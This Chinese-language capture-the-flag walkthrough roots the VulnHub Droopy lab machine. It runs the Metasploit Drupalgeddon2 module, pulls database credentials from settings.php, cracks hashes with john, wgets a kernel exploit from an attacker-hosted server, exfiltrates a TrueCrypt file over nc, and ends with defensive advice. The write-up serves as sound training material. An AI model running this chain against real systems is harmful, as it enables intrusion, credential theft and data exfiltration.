DroopyCTF靶机渗透
字数 1244 2025-08-12 11:34:00
DroopyCTF靶机渗透教学文档
1. 靶机概述
- 下载地址: VulnHub Droopy v0.2
- 难度级别: 中级
- 目标: 获取root权限并找到flag
- 关键提示:
- 准备rockyou密码字典
- 阅读他人邮件可能有帮助
2. 初始信息收集
2.1 网络扫描
nmap -sV -p- 10.8.0.108
发现:
- 仅开放80端口
- 运行Drupal 7.30 (通过/CHANGELOG.txt确认)
2.2 目录扫描
dirb http://10.8.0.108/
发现:
- 大量目录,但只有CHANGELOG.txt提供有用信息
3. 漏洞利用
3.1 Drupalgeddon2漏洞利用
- 启动Metasploit:
msfconsole
- 搜索Drupal漏洞:
search drupal
- 选择利用模块:
use unix/webapp/drupal_drupalgeddon2
- 设置参数:
set rhosts 10.8.0.108
- 执行攻击:
run
结果: 获得meterpreter会话
3.2 升级shell
python -c 'import pty;pty.spawn("/bin/bash")'
4. 数据库信息收集
4.1 查找配置文件
cat sites/default/settings.php
发现:
- 数据库名: drupal
- 用户名: drupaluser
- 密码: nimda
4.2 登录MySQL
mysql -u drupaluser -p
# 输入密码: nimda
4.3 查询用户表
use drupal;
select * from users;
发现:
- 用户: drupaladmin
- 密码哈希: \(S\)Ds5SgCrqwrbxJY36HldOHA3C9wWH0W3DXMkHSXBb7SsYVfhhlM7s
- 邮箱: drupal@knight139.co.uk
5. 密码破解
- 将哈希保存到1.txt
- 使用john破解:
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
破解结果: Password1
6. Web登录
- 用户名: drupaladmin
- 密码: Password1
7. 系统提权
7.1 查找内核漏洞
searchsploit linux 3.13 ubuntu 14.04
发现: linux/local/37292.c
7.2 编译执行exp
- 本地开启HTTP服务:
python -m SimpleHTTPServer 80
- 靶机下载:
wget http://<your_ip>/37292.c -O /tmp/37292.c
- 编译执行:
gcc 37292.c -o exp
chmod +x exp
./exp
结果: 获得root权限
8. 寻找flag
8.1 初始查找
find / -type f -name "flag*"
无结果
8.2 检查邮件提示
cd /var/mail
ls -la
8.3 处理dave.tc文件
- 下载到本地分析:
# 靶机:
nc -lvp 4444 < /root/dave.tc
# 本地:
nc <target_ip> 4444 > dave.tc
- 分析文件类型:
file dave.tc
strings dave.tc
发现: TrueCrypt加密容器
8.4 破解TrueCrypt密码
- 过滤rockyou字典:
cat /usr/share/wordlists/rockyou.txt | grep academy > dic.txt
- 尝试密码: etonacademy (成功)
8.5 挂载加密容器
- 安装VeraCrypt
- 选择dave.tc文件
- 输入密码: etonacademy
- 选择HMAC-SHA-512和TrueCrypt模式
8.6 获取flag
- 进入挂载点:
cd /media/veracrypt1/
- 查找flag:
cd .secret/.top
cat flag.txt
9. 关键知识点总结
- Drupal漏洞利用: Drupal 7.x版本的Drupalgeddon2远程代码执行漏洞
- 密码破解: 使用john和rockyou字典破解Drupal密码哈希
- 数据库渗透: 从配置文件中提取数据库凭证
- 内核提权: Linux 3.13内核漏洞利用
- 加密容器破解: TrueCrypt/VeraCrypt加密容器的挂载和密码破解
- 信息隐藏: flag被隐藏在多层加密容器中
10. 防御建议
- 及时更新CMS系统和插件
- 使用强密码策略
- 限制数据库用户权限
- 定期更新操作系统内核
- 对敏感文件设置适当权限
- 避免在配置文件中存储明文密码